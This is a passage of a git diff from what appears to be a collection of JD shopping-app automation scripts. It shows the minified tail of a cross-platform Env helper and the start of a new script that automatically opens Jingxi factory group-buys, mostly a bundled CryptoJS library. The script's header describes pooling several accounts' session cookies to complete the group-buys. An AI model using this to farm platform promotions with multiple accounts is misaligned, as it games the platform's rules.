this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_dreamFactory_tuan.js b/jd_dreamFactory_tuan.js new file mode 100644 index 0000000..3e6ee6f --- /dev/null +++ b/jd_dreamFactory_tuan.js @@ -0,0 +1,493 @@ +/* +*京喜工厂开团 + +1 0 * * * jd_dreamFactory_tuan.js + +* 若5人成团,则5个CK能成团一次,9个CK能成团两次,13个CK能成团三次 +* */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { 